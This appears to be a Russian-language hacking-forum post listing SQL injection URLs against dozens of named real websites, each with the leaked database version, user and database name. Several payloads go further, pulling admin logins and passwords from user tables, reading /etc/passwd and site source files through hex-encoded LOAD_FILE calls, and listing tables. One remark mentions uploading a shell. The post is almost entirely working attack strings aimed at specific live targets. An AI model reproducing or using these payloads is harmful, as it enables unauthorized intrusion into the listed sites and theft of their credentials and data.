SQL Инъекции

Code:

http://www.nwaacc.org/soccer/news.php?id=667%27+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*

version():4.0.25
database():nwl-nwaacc
user():nwl-nwaacc@web06

 

HTML:

http://www.reproductionfabrics.com/shelf.php?ID=-3+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6--

5.0.45-log:mtconnect2:[email protected]

HTML:

http://www.dala.com.ua/index.php?menu_id=-5+union+select+1,concat_ws(0x3a,version(),database(),user())--

5.0.45:dala_db:dala_1@localhost

 

PostgreSQL

albatros-film.com

[PR = 4]

Code:

http://www.albatros-film.com/list.phtml?genreid=27+and+1=cast((SELECT+version()||chr(%20%2058)||current_user||chr(58)||current_database())+as%20%20+int)--

version PostgreSQL 7.3.4 on i686-pc-linux-gnu, compiled by GCC 2.96
user postgres
database albatrosdb

30 колонок

Code:

http://www.albatros-film.com/list.phtml?genreid=27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--

nfi.no

[PR = 6]

Code:

http://www.nfi.no/barnunge/filmstudieark/film.html?id=205+and+1=cast((SELECT+version()||chr(%20%2058)||current_user||chr(58)||current_database())+as%20%20+int)--

version PostgreSQL 7.3.4 on i386-unknown-freebsd4.3, compiled by GCC 2.95.3:
user wdnfi
database nfi2

 

ahta.ru

http://ahta.ru/pages.php5?sym=products&show=prod&cid=-00000858+union+select+concat_ws(0x0b,user(),database(),version()),2

Таблицы:
http://ahta.ru/pages.php5?sym=products&show=prod&cid=-00000858+union+select+group_concat(table_name),2+from+information_schema.tables+group+by+table_schema+limit+1,1

 

Code:

http://www.citadelhockey.com/archive/archive.php?id=-18+union+select+1,2,3,4,version(),6,7--

Database Version: 5.0.67-community
Database name: citadelh_roster09
User name: citadelh_coachsp@localhost

----------------------------------------------------------------------------------------------------------

Code:

http://www.ephnotes.org/index2.php?issue=-1204+union+select+1,2,3,4,5,version()/*

Database Version: 4.1.22-standard
Database name: alumsite_alumniatwilliams
User name: alumsite_ephcard@localhost

 

http://www.midlandairmuseum.co.uk/news.php?id=-16+union+select+1,2,3,4,version(),6,7



http://www.parkwood-holdings.co.uk/news.php?id=-43+union+select+1,2,group_concat(table_name),4,5,6,7,8,9,10+from+information_schema.tables


http://www.histonfc.co.uk/news.php?id=-205+union+select+1,2,3,4,5,6,7,8,version(),10,11


http://www.noise.co.uk/news.php?id=-10+union+select+1,version(),3

 

Code:

http://www.kuzbass-edinros.ru/catalog/dela.php?id=-4+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5/*

5.0.32-Debian_7etch6-log:webadmin@localhost:edin

Code:

http://www.allstarsshop.ru/main.php?big=-94154+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15

4.1.25:allstarsshop3@localhost:allstarsshop3

 

PR 5

Code:

http://montserrat[COLOR=Lime].edu[/COLOR]/news/press-release-item.php?id=-1+union+select+1,2,version(),4,5,6,7,8,9,10--

Database Version: 5.0.67-log
Database name: mcadb
User name: [email protected]

 

Code:

http://www.eilat4u.co.il/recommend.php?p=-3'+union+select+1,2,3,4,LOAD_FILE(0x2F7777772F65696C617434752F7777772F666F72756D2F696E6465782E706870),6,7+from+admin+/*+&u=1

Code:

http://israelecotours.com/news.php?p=-4'+union+select+1,2,pass,4,login,6,7+from+admin+/*+&u=1

Code:

http://www.redseasports.co.il/index.php?lang=3+union+select+1,unhex(hex(LOAD_FILE(0x2F6574632F706173737764)))+from+mysql.user+/*+

Code:

http://www.zinccafe.com/menu.php?id=-1+union+select+1,2,3,4+from+adminmenus+--+

Code:

http://www.pribor.ru/main.php?show=news&id=-155+UnIon+SeLect+1,2,version(),4,5,6+/*+

4.0.22

Code:

http://www.deadsea-premier.ru/item.php?id=-40+UnIon+SeLect+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15+/*+

4.0.22

ЗЫ Извеняйте если будут баяны, антибаян неработает(

jokester: А гугл тоже не работает?

re: гугл молчит

 

"# What is Gelato?
# The global technical community dedicated to advancing Linux® on the Intel® Itanium® platform through collaboration, education, and leadership."

Code:

http://www.gelato.org/about/news_view.php?id=55+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4+limit+1,1/*

version():4.0.24_Debian-10-log
database():newGelato
user():gelato@localhost
___

 

http://palindouble.com/gcards/getnewsitem.php?newsid=1+union+select+1,2,concat(username,char(45),userpass),4,5+FROM+gc_cardusers--

 

Code:

http://yarra.ics.uci.edu/umich2/getdoc1.php?rid=21595+union+select+unhex(hex(concat_ws(0x3a,version(),database(),user()))),2,3,4,5+limit+1,1/*

version():4.1.14-standard
database():umich
user():root@localhost

Есть таблица mysql.user

 

Датинг : нужно зарегаться:

Шелл льеться очень инересно (по крайне мере мне так кажеться).

 

---

 

HTML:

http://www.paintballxxl.com/news_view.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6--

4.1.25-log:db00077859:00077859@localhost

 

Code:

http://www.backwoodsbeachparty.com/revphp/rev.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9,10,11

Code:

beach_reviews@localhost:beach_reviews:5.0.81-community

 

PR 7

LAdining:4.1.20:webuser@localhost
---

 

PR - 4

Code:

http://www.planet-rock.com/news.php?id=-110+union+select+1,2,3,4,5,6,concat_ws(0x3a,database(),version(),user()),8,9,10--

Database Version: 5.0.67-log

PR - 5

Code:

http://www.daiky.net/main.php?page=articles&aid=-1+union+select+1,2,3,4,5,concat_ws(0x3a,database(),version(),user()),7--&type=brit

Database Version: 4.0.27-standard